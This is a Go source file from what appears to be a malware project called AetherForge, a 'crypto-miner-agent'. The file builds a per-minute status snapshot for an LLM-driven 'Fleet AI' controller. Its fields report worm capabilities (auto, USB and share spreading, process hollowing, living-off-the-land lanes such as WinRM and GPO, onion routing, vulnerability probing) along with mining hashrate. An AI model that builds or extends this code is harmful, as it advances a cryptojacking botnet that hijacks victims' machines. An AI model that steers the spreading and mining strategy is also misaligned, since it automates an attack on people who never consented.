Files
AetherForge/agent/client/ai_snapshot.go
AetherForge 0002e5fd93
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Calibrate AI Control UI and fleet LLM backend wiring.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
2026-06-07 02:14:28 -07:00

355 lines
10 KiB
Go

package client
import (
"encoding/json"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
// AITierStatus records one deploy or mining tier for Fleet AI snapshots.
type AITierStatus struct {
Tier string `json:"tier"`
Phase string `json:"phase,omitempty"`
Attempted bool `json:"attempted"`
OK bool `json:"ok,omitempty"`
Error string `json:"error,omitempty"`
Skipped bool `json:"skipped,omitempty"`
DurationMs int64 `json:"duration_ms,omitempty"`
}
// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent.
type AIForgeFlags struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
AutoSpread bool `json:"auto_spread"`
USBSpread bool `json:"usb_spread,omitempty"`
ShareSpread bool `json:"share_spread,omitempty"`
RemoteAggressive bool `json:"remote_aggressive,omitempty"`
HolePunch bool `json:"hole_punch,omitempty"`
MeshP2P bool `json:"mesh_p2p,omitempty"`
ProcessHollowing bool `json:"process_hollowing,omitempty"`
GPUEnabled bool `json:"gpu_enabled,omitempty"`
AIEnabled bool `json:"ai_enabled,omitempty"`
}
// AICapabilitiesSnapshot reports remote features this build exposes on the current OS.
type AICapabilitiesSnapshot struct {
Platform string `json:"platform"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
ProcessHollowing bool `json:"process_hollowing"`
GPUEnabled bool `json:"gpu_enabled"`
LotlOnion bool `json:"lotl_onion"`
SpreadLanes []string `json:"spread_lanes,omitempty"`
MiningTiersAvail []string `json:"mining_tiers_available,omitempty"`
}
// AISnapshot is the 1-minute Fleet AI machine state payload.
type AISnapshot struct {
GeneratedAt string `json:"generated_at"`
AgentName string `json:"agent_name"`
AgentID string `json:"agent_id"`
WorkerNumber string `json:"worker_number,omitempty"`
BuildID string `json:"build_id,omitempty"`
Version string `json:"version"`
Platform string `json:"platform"`
Arch string `json:"arch,omitempty"`
ForgeFlags AIForgeFlags `json:"forge_flags"`
DeployTiers []AITierStatus `json:"deploy_tiers"`
MiningTiers []AITierStatus `json:"mining_tiers"`
MiningHashrate float64 `json:"mining_hashrate"`
LOTLTier string `json:"lotl_tier,omitempty"`
MiningActive bool `json:"mining_active"`
JoinLane string `json:"join_lane,omitempty"`
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
Stuck bool `json:"stuck"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
}
func workerNumberFromConfig(cfg config.RuntimeConfig) string {
if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" {
return n
}
return ""
}
func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
c.mu.Lock()
cfg := c.cfg
agentID := c.agentID
c.mu.Unlock()
hostname, _, _ := c.reporter.SystemInfo()
agentName := strings.TrimSpace(cfg.WorkerName)
if agentName == "" {
agentName = hostname
}
var ms miner.MiningStatus
if c.miningChain != nil {
ms = c.miningChain.Status()
}
attempts := ms.LOTLAttempts
policy := c.miningTierPolicy()
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg)
deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers)
if len(deployOrder) == 0 {
deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...)
}
snap := AISnapshot{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
AgentName: agentName,
AgentID: agentID,
WorkerNumber: workerNumberFromConfig(cfg),
BuildID: cfg.BuildID,
Version: config.Version,
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
ForgeFlags: forgeFlagsFromConfig(cfg),
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
MiningTiers: buildMiningTierStatuses(miningChain, miningSkipped, attempts),
MiningHashrate: miningHashrate,
LOTLTier: string(ms.LOTLTier),
MiningActive: c.isMiningActive(ms, miningHashrate),
JoinLane: c.getJoinLane(),
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
ChainExhausted: ms.ChainExhausted,
}
snap.Stuck = aiSnapshotStuck(snap, ms)
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat)
}
if vr := LastVulnScan(); vr != nil {
score := vr.RiskScore
snap.VulnRiskScore = &score
}
return snap
}
func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags {
return AIForgeFlags{
LotlOnionEnabled: cfg.LotlOnionEnabled,
LotlPolicyFromServer: cfg.LotlPolicyFromServer,
AutoSpread: cfg.AutoSpread,
USBSpread: cfg.USBSpread,
ShareSpread: cfg.ShareSpread,
RemoteAggressive: cfg.RemoteAggressive,
HolePunch: cfg.HolePunch,
MeshP2P: cfg.MeshP2P,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
AIEnabled: cfg.AIEnabled,
}
}
func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt {
idx := make(map[string]miner.TierAttempt, len(attempts))
for _, a := range attempts {
key := strings.ToLower(string(a.Tier))
if a.Phase != "" {
key = a.Phase + ":" + key
}
idx[key] = a
}
return idx
}
func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus {
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
st := AITierStatus{Tier: tier}
for _, phase := range []string{"deploy", "recon"} {
if a, ok := idx[phase+":"+tier]; ok {
st.Phase = phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
break
}
}
if !st.Attempted {
if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
}
out[i] = st
}
return out
}
func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) {
if seen[t] {
continue
}
seen[t] = true
order = append(order, t)
}
skipSet := make(map[miner.LOTLTier]bool, len(skipped))
for _, t := range skipped {
skipSet[t] = true
}
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
name := strings.ToLower(string(tier))
st := AITierStatus{Tier: name, Skipped: skipSet[tier]}
if a, ok := idx["mining:"+name]; ok {
st.Phase = "mining"
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
} else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
out[i] = st
}
return out
}
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
mining := make([]string, 0, len(miningChain))
for _, t := range miningChain {
mining = append(mining, string(t))
}
return AICapabilitiesSnapshot{
Platform: runtime.GOOS,
HolePunch: cfg.HolePunch,
RemoteAggressive: cfg.RemoteAggressive,
MeshP2P: cfg.MeshP2P,
AutoSpread: cfg.AutoSpread,
AIEnabled: cfg.AIEnabled,
USBSpread: cfg.USBSpread,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
LotlOnion: cfg.LotlOnionEnabled,
SpreadLanes: lanes,
MiningTiersAvail: mining,
}
}
func spreadLanesForPlatform(goos string, order []string) []string {
winOnly := map[string]bool{
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
}
linuxOnly := map[string]bool{"linux": true}
out := make([]string, 0, len(order))
for _, lane := range order {
if winOnly[lane] && goos != "windows" {
continue
}
if linuxOnly[lane] && goos != "linux" {
continue
}
out = append(out, lane)
}
return out
}
func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool {
if hashrate > 0 {
return true
}
if ms.ActiveMethod != "" && !ms.ChainExhausted {
return true
}
remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot()
return hasJob && !remotePaused && hps > 0
}
func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool {
if snap.MiningHashrate > 0 {
return false
}
if ms.ChainExhausted {
return true
}
allMiningAttempted := len(snap.MiningTiers) > 0
for _, t := range snap.MiningTiers {
if !t.Skipped && !t.Attempted {
allMiningAttempted = false
break
}
}
if !allMiningAttempted {
return false
}
for _, t := range snap.MiningTiers {
if t.Skipped {
continue
}
if t.Attempted && t.OK {
return false
}
}
return true
}
func adaptiveStrategySummary(strat AdaptiveStrategy) string {
if len(strat.Reasoning) == 0 {
if len(strat.TierOrder) == 0 {
return ""
}
return "order=" + strings.Join(strat.TierOrder, ",")
}
parts := make([]string, 0, len(strat.Reasoning))
for _, r := range strat.Reasoning {
line := strings.TrimSpace(r.Inference)
if line == "" {
line = strings.TrimSpace(r.Action)
}
if line != "" {
parts = append(parts, line)
}
}
return strings.Join(parts, "; ")
}
func (c *AgentClient) pushAISnapshot(miningHashrate float64) {
snap := c.buildAISnapshot(miningHashrate)
payload, err := json.Marshal(snap)
if err != nil {
return
}
_ = c.write(Message{Type: "ai_snapshot", Payload: payload})
}